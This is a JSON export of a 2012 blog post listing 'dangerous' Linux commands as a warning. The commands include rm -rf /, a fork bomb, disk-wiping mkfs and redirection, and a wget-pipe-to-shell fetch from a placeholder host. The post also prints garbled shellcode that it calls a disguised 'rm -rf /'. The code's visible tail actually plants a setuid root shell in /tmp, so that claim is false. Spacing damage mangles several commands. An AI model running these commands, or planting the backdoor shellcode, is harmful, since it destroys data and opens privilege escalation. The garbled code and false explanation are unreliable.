{"id":564,"date":"2012-07-10T11:11:37","date_gmt":"2012-07-10T03:11:37","guid":{"rendered":"http:\/\/rmohan.com\/?p=564"},"modified":"2012-07-10T11:11:37","modified_gmt":"2012-07-10T03:11:37","slug":"the-7-most-dangerous-commands-of-gnulinux","status":"publish","type":"post","link":"https:\/\/mohan.sg\/?p=564","title":{"rendered":"The 7 most dangerous commands of GNU\/Linux"},"content":{"rendered":"<p>The 7 most dangerous commands of GNU\/Linux<\/p>\n<p>&nbsp;<\/p>\n<p><strong>1. rm-rf \/<\/strong><br \/>\nThis powerful command deletes all files in our root directory &#8220;\/&#8221; if they want to see the power of this command to see this <a href=\"http:\/\/linuxpoison.blogspot.com\/2008\/08\/running-rm-rf.html\">video<\/a><\/p>\n<p><strong>2. Code:<\/strong><\/p>\n<p>char esp [] __attribute__ ((section (. &#8220;text&#8221;))) \/ * esp<br \/>\nrelease * \/<br \/>\n= &#8220;\\ Xeb \\ x3e \\ x5b \\ x31 \\ xc0 \\ x50 \\ x54 \\ x5a \\ X83 \\ xec \\ x64 \\ x68?<br \/>\n&#8220;\\ Xff \\ xff \\ xff \\ xff \\ x68 \\ xdf \\ xd0 \\ xdf \\ xd9 \\ x68 \\ x8d \\ x99?<br \/>\n&#8220;\\ Xdf \\ x81 \\ x68 \\ x8d \\ x92 \\ xdf \\ xd2 \\ x54 \\ x5e \\ xf7 \\ x16 \\ xf7?<br \/>\n&#8220;\\ X56 \\ X04 \\ xf7 \\ X56 \\ x08 \\ xf7 \\ X56 \\ x0c \\ X83 \\ xc4 \\ x74 \\ X56?<br \/>\n&#8220;\\ X8d \\ x73 \\ x08 \\ X56 \\ x53 \\ x54 \\ X59 \\ xb0 \\ x0b \\ xcd \\ x80 \\ x31?<br \/>\n&#8220;\\ Xc0 \\ x40 \\ xeb \\ xf9 \\ xe8 \\ xbd \\ xff \\ xff \\ xff \\ x2f \\ x62 \\ x69?<br \/>\n&#8220;\\ X6e \\ x2f \\ x73 \\ x68 \\ x00 \\ x2d \\ x63 \\ x00?<br \/>\n&#8220;Cp-p \/ bin \/ sh \/ tmp \/ .beyond; chmod 4755<br \/>\n\/ tmp \/ .beyond; &#8221;<\/p>\n<p>This is the hex version of [rm-rf \/] that can deceive even those not experienced users of GNU\/Linux.<\/p>\n<p><strong>3. mkfs.ext3 \/ dev \/ sda<\/strong><\/p>\n<p>This will reformat all the files on the device that is mentioned after the mkfs command.<\/p>\n<p><strong>4. :(){:|:&amp;};:<\/strong><\/p>\n<p>Known as forkbomb, this command to run a large number of processes until the system freezes. This can lead to data corruption.<\/p>\n<p><strong>5. any_command&gt; \/ dev \/ sda<\/strong><\/p>\n<p>This command causes total loss of data, in the partition that is mentioned in command<\/p>\n<p><strong>6. http:\/\/some_untrusted_source wget-O-| sh<\/strong><\/p>\n<p>Never download untrusted sources and below are implemented, they may be malicious codes<\/p>\n<p><strong>7. mv \/ home \/ yourhomedirectory \/ * \/ dev \/ null<\/strong><\/p>\n<p>This command will move all the files in your home to a place that does not exist, never really your files again<\/p>\n<p>If you got any other dangerous command, please let me know, I will include it over here.<\/p>\n<p>[Ref:\u00a0<a href=\"http:\/\/www.linuxpromagazine.com\/online\/news\/seven_deadliest_linux_commands?category=13447\" rel=\"nofollow\">http:\/\/www.linuxpromagazine.com\/online\/news\/seven_deadliest_linux_commands?category=13447<\/a>]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The 7 most dangerous commands of GNU\/Linux<\/p>\n<p>&nbsp;<\/p>\n<p>1. rm-rf \/ This powerful command deletes all files in our root directory &#8220;\/&#8221; if they want to see the power of this command to see this video<\/p>\n<p>2. Code:<\/p>\n<p>char esp [] __attribute__ ((section (. &#8220;text&#8221;))) \/ * esp release * \/ = &#8220;\\ Xeb \\ [&#8230;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[],"_links":{"self":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/564"}],"collection":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=564"}],"version-history":[{"count":1,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/564\/revisions"}],"predecessor-version":[{"id":565,"href":"https:\/\/mohan.sg\/index.php?rest_route=\/wp\/v2\/posts\/564\/revisions\/565"}],"wp:attachment":[{"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=564"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=564"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mohan.sg\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=564"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}